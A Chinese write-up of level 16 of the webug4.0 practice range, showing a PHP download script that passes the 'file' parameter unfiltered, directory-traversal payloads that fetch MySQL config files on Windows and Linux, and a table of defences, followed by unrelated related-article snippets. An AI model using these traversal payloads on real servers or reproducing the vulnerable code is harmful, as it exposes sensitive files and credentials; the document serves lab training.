Webug4.0靶场通关笔记16- 第16关MySQL配置文件下载

article/2025/6/15 23:54:02

目录

第16关 MySQL配置文件下载

1.打开靶场

2.源码分析

3.渗透实战

(1)Windows系统

(2)Linux系统

4、防御方法


本文通过《webug4.0靶场第16关MySQL配置文件下载》来进行渗透实战。文件下载是指 Web 应用程序在处理文件下载功能时,由于代码逻辑缺陷或安全措施不足,导致用户可以非法下载服务器上的敏感文件。 

第16关 MySQL配置文件下载

1.打开靶场

打开webug4靶场的第16关任意文件下载,完整URL地址以及页面如下所示。

http://192.168.71.1/webug4/control/filedownload/ini_file_download.php

构造下载文件地址,如下所示。

http://192.168.71.1/webug4/control/filedownload/ini_file_download.php?file=template/assets/img/1.txt
http://192.168.71.1/webug4/control/filedownload/ini_file_download.php?file=template/assets/img/2.txt

2.源码分析

分析可知代码对参数file未做任何过滤, 直接使用fread进行处理,存在任意文件下载,具体如下所示。

<?php// 引入公共配置文件,包含路径定义、数据库连接等基础功能
require_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}// 处理文件下载请求:当用户通过GET方法传递file参数时
if (isset($_GET["file"])) {// 检查参数是否存在且不为空if (!empty($_GET["file"])) {// 构造文件路径:将用户提供的file参数与网站根路径拼接$filePath = ROOTPATH . $_GET['file'];// 提取文件扩展名(最后4个字符)$fileName = substr($filePath, -4);// 检查文件是否存在if (file_exists($filePath)) {// 以二进制模式打开文件$file = fopen($filePath, 'rb');// 设置响应头:指定内容类型为二进制流Header("Content-type: application/octet-stream");// 设置响应头:允许按字节范围请求(断点续传支持)Header("Accept-Ranges: bytes");// 设置响应头:指定文件大小Header("Accept-Length: " . filesize($filePath));// 设置响应头:强制下载并指定文件名(固定前缀"a" + 原扩展名)header('Content-Disposition: attachment; filename=a' . $fileName);// 读取文件内容并输出到浏览器echo fread($file, filesize($filePath));// 关闭文件资源fclose($file);// 终止脚本执行,防止后续内容输出exit();}}
}// 引入HTML模板文件,通常包含文件下载表单或链接列表
require_once TPMELATE."/file_download.html";

这段 PHP 代码实现了一个基于会话验证的文件下载功能。首先检查用户会话,确保只有登录用户可访问该页面。当用户通过 GET 参数传递文件名时,代码将其与网站根路径拼接构造完整文件路径,并提取文件扩展名的最后 4 个字符。接着检查文件是否存在,若存在则设置响应头信息(包括内容类型、文件大小等),并强制以固定前缀 "a" 加原扩展名的文件名下载。文件内容通过二进制模式读取并输出到浏览器。若文件不存在或未传递有效参数,则加载文件下载页面模板。该功能存在目录遍历、任意文件下载等安全风险,需加强输入验证和路径控制。

其实这个源码与上一关完全一致,对比如下所示。

3.渗透实战

相对而言是需要构造MySQL的配置文件的相对路径。

(1)Windows系统

file=../../Extensions/MySQL5.7.26/my.ini

 如下所示下载了ini文件,渗透成功。

(2)Linux系统

如下所示,webug容器的mysql.ini文件的路径如下所示。

/usr/share/php5/mysql/mysql.ini

源码的根路径如下所示。

/var/www/html

相对而言mysql.ini的相对路径如下所示。

../../../usr/share/php5/mysql/mysql.ini

如下所示渗成功下载ini文件,渗透成功。

4、防御方法

文件下载可能导致很多问题,比如敏感信息泄露和恶意软件感染。

  • 敏感数据外泄: 攻击者可下载包含用户凭证、财务记录或商业机密等敏感信息的文件,导致数据泄露,对个人隐私和企业运营造成重大损害。

  • 恶意软件感染: 下载文件可能携带病毒、木马等恶意程序,在设备上植入后实施数据窃取、远程控制或发起后续攻击。

为有效预防文件下载,可从输入验证、文件存储管理、安全配置、日志监控等多个方面采取措施。

预防层面具体措施简要说明
输入验证白名单验证限定合法文件名、类型及路径,仅允许下载白名单内文件
路径验证严格校验文件路径,防止目录遍历攻击,避免直接用用户输入拼接路径
文件存储管理文件隔离将可下载文件与敏感数据分开放置,设置合理访问权限
文件名处理规范文件名,剔除特殊字符,防止恶意篡改
安全配置HTTP 头设置通过设置 Content-Disposition 等头信息,确保文件以安全方式下载
CSP 策略利用内容安全策略,限制页面资源加载来源,防范恶意文件执行
日志监控与审计日志记录记录文件下载请求相关信息,便于追溯异常行为
实时监控借助 IDS 或 IPS 实时监测,及时阻断可疑下载操作
代码管理代码审查定期检查文件下载功能代码,排查验证不严格等
安全测试运用工具与手动测试结合,全面检测潜在安全隐患

http://www.hkcw.cn/article/gyJhqHngNH.shtml

相关文章

Java开发经验——阿里巴巴编码规范实践解析10

摘要 这篇文章主要介绍了阿里巴巴Java开发的编码规范实践解析&#xff0c;重点聚焦于系统设计规范。文中强调了存储方案和底层数据结构设计的重要性&#xff0c;指出其需要经过严格评审并形成文档。同时&#xff0c;详细阐述了设计与评审流程&#xff0c;包括设计方案初稿、建…

AutoML详解:自动化机器学习的未来

AutoML详解&#xff1a;自动化机器学习的未来 系统化学习人工智能网站&#xff08;收藏&#xff09;&#xff1a;https://www.captainbed.cn/flu 文章目录 AutoML详解&#xff1a;自动化机器学习的未来摘要引言技术架构对比1. 核心组件&#xff1a;从算法到工作流2. 算法实现…

(8)-Fiddler抓包-Fiddler如何设置捕获会话

1.简介 在前面我们介绍了Fiddler界面内容以及作用。那么我们接下来讲解和分享如何设置Fiddler后&#xff0c;我们就可以捕获会话&#xff0c;进行抓包了。 2.捕获会话的设备 常见的捕获会话的设备分为PC&#xff08;电脑&#xff09;端和手机&#xff08;Android和IOS苹果&am…

虚拟DOM和DOM是什么?有什么区别?虚拟DOM的优点是什么?

虚拟DOM与真实DOM的概念 虚拟DOM&#xff08;Virtual DOM&#xff09;是一种对真实DOM的抽象表示&#xff0c;其结构通常为一个JavaScript对象&#xff0c;保存了DOM节点的标签、属性、子节点等信息。真实DOM则是浏览器中的实际文档对象模型&#xff0c;由HTML代码解析生成&am…

电赛TIMSPM0G3507 CCS环境安装在D盘的方法

前言 安装TI的环境内存占用还是比较大的&#xff0c;但是大家默认安装到C盘&#xff0c;本篇就教大家从0到一安装到D盘 先把3个要下载的下载了 1.安装SDK 登录LP-MSPM0G3507 评估板 | TI.com.cn这个网站 选择Windows的下载 2.下载图形配置软件 登录SYSCONFIG IDE、配置、编译器…

电力高空作业安全检测(3)RT-DETR模型

背景与挑战 YOLO 系列模型长期以来在实时目标检测领域占据主导地位&#xff0c;因其在速度与精度之间取得了良好的平衡。然而&#xff0c;这些模型在处理多尺度特征时&#xff0c;往往依赖于非极大值抑制&#xff08;NMS&#xff09;后处理步骤&#xff0c;这不仅增加了计算…

项目架构初始化,底部导航页面切换

引言 在移动端应用开发中&#xff0c;底部导航栏是一种常见的用户界面元素&#xff0c;用于在不同的页面之间进行快速切换。本文将介绍如何初始化一个 Vue.js 项目&#xff0c;并实现底部导航栏页面切换的功能。 &#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &…

51c大模型~合集133

我自己的原文哦~ https://blog.51cto.com/whaosoft/13948969 #用Veo 3Suno做了个AI Rapper 吊打音乐节上的流量明星 太疯狂了&#xff01;AI生成的嘻哈歌手唱Rap以假乱真&#xff0c;网友直呼「看不出破绽」。 来来来&#xff0c;眼尖的朋友请告诉我&#xff0c;下面这个…

俄称控制定居点 乌称打击俄纵深目标 双方战事持续升级

俄罗斯国防部5月31日发布战报称,俄军控制了苏梅州沃多拉哈和顿涅茨克地区诺沃波利居民点。在过去24小时内,俄军在苏梅、哈尔科夫、顿涅茨克、扎波罗热、赫尔松等方向打退乌军多次进攻并发动多次攻势。乌克兰武装部队总司令瑟尔斯基同一天表示,乌军在5月使用远程精确武器打击…

机器学习知识图谱——K-means++聚类算法

目录 一、图解K-means++ 聚类算法知识图谱 二、K-means 是什么? 三、K-means++ 是什么? 四、K-means++ 算法流程 第一步:选择初始质心(核心改进) 第二步:执行 K-means 正式流程 五、算法图示 六、优点 vs 缺点 七、常用场景 八、Python 代码示例 (使用 sklear…

Java SE 2.数据类型与变量

Java是一门强类型语言&#xff0c;数据类型和变量是构建程序的基石。理解数据类型的选择和变量的定义方式&#xff0c;直接影响代码的性能和可读性。就一句话&#xff1a;数据类型和变量很重要&#xff01; 1. 字面常量 我们刚接触Java时&#xff0c;曾写过一个简单的程序&am…

数据结构-算法学习C++(入门)

目录 03二进制和位运算04 选择、冒泡、插入排序05 对数器06 二分搜索07 时间复杂度和空间复杂度08 算法和数据结构09 单双链表09.1单双链表及反转09.2合并链表09.2两数相加09.2分隔链表 013队列、栈、环形队列013.1队列013.2栈013.3循环队列 014栈-队列的相互转换014.1用栈实现…

【前端】SPA v.s. MPA

链接&#xff1a;页面结构 误区 页面结构管理有两种常见方式&#xff1a;路由形式 和 组件形式。路由形式 对应MPA &#xff0c;组件形式对应SPA ❌ 误区 1&#xff1a;路由形式 MPA❌ 路由是 SPA 和 MPA 共有的概念&#xff0c;区别在于路由映射的对象&#xff1a; MPA 的…

国米0-5创欧冠决赛最大分差 巴黎青春风暴横扫夺冠

在安联球场举行的欧冠决赛中,巴黎圣日耳曼以5比0横扫国际米兰,创造了欧冠决赛历史上的最大分差纪录。此前欧冠决赛的最大分差为四球,最近一次是1993-1994赛季AC米兰对巴萨的4比0。恩里克带领下的巴黎圣日耳曼首次赢得欧冠冠军,他们的表现令人震惊。比赛开始后不久,巴黎便迅…

樊振东加盟德甲 俱乐部披露幕后 签约过程震撼乒坛

FC萨尔布吕肯俱乐部宣布,奥运冠军樊振东将加盟球队。当樊振东在社交媒体上发布观看欧冠的照片时,另一条消息也震惊了乒乓球圈:他将在新赛季代表萨尔布吕肯出战德国乒乓球甲级联赛(TTBL)。俱乐部官方公告中提到,前世界排名第一的樊振东将在新赛季为萨尔布吕肯效力。这位28…

Yunxi期中

Misc 谍影重重plus&#xff08;misc&#xff09; 随波逐流修复伪加密 零宽字符解密&#xff0c;&#xff1f;&#xff1f;&#xff1f;需要爆破 import itertools import stringdef generate_symmetric_passwords():# 扩展字符集&#xff1a;大小写字母 数字 符号chars st…

2024年ESWA SCI1区TOP,自适应学习灰狼算法ALGWO+无线传感器网络覆盖优化,深度解析+性能实测

目录 1.端午快乐2.摘要3.灰狼算法GWO原理4.改进策略5.结果展示6.参考文献7.代码获取8.读者交流 1.端午快乐 今天端午节&#xff0c;祝各位朋友端午安康&#xff0c;阖家平安&#xff01; 2.摘要 无线传感器网络&#xff08;WSNs&#xff09;是一种被广泛应用的新兴技术&…

YOLOv8 移动端升级:借助 GhostNetv2 主干网络,实现高效特征提取

文章目录 引言GhostNetv2概述GhostNet回顾GhostNetv2创新 YOLOv8主干网络改进原YOLOv8主干分析GhostNetv2主干替换方案整体架构设计关键模块实现 完整主干网络实现YOLOv8集成与训练模型集成训练技巧 性能对比与分析计算复杂度对比优势分析 部署优化建议结论与展望 引言 目标检…

【Oracle】TCL语言

个人主页&#xff1a;Guiat 归属专栏&#xff1a;Oracle 文章目录 1. TCL概述1.1 什么是TCL&#xff1f;1.2 TCL的核心功能 2. 事务基础概念2.1 事务的ACID特性2.2 事务的生命周期 3. COMMIT语句详解3.1 COMMIT基础语法3.2 自动提交与手动提交3.3 提交性能优化 4. ROLLBACK语句…

设计模式——单例设计模式(创建型)

摘要 本文详细介绍了单例设计模式&#xff0c;包括其定义、结构、实现方法及适用场景。单例模式是一种创建型设计模式&#xff0c;确保一个类只有一个实例并提供全局访问点。其要点包括唯一性、私有构造函数、全局访问点和线程安全。文章还展示了单例设计模式的类图和时序图&a…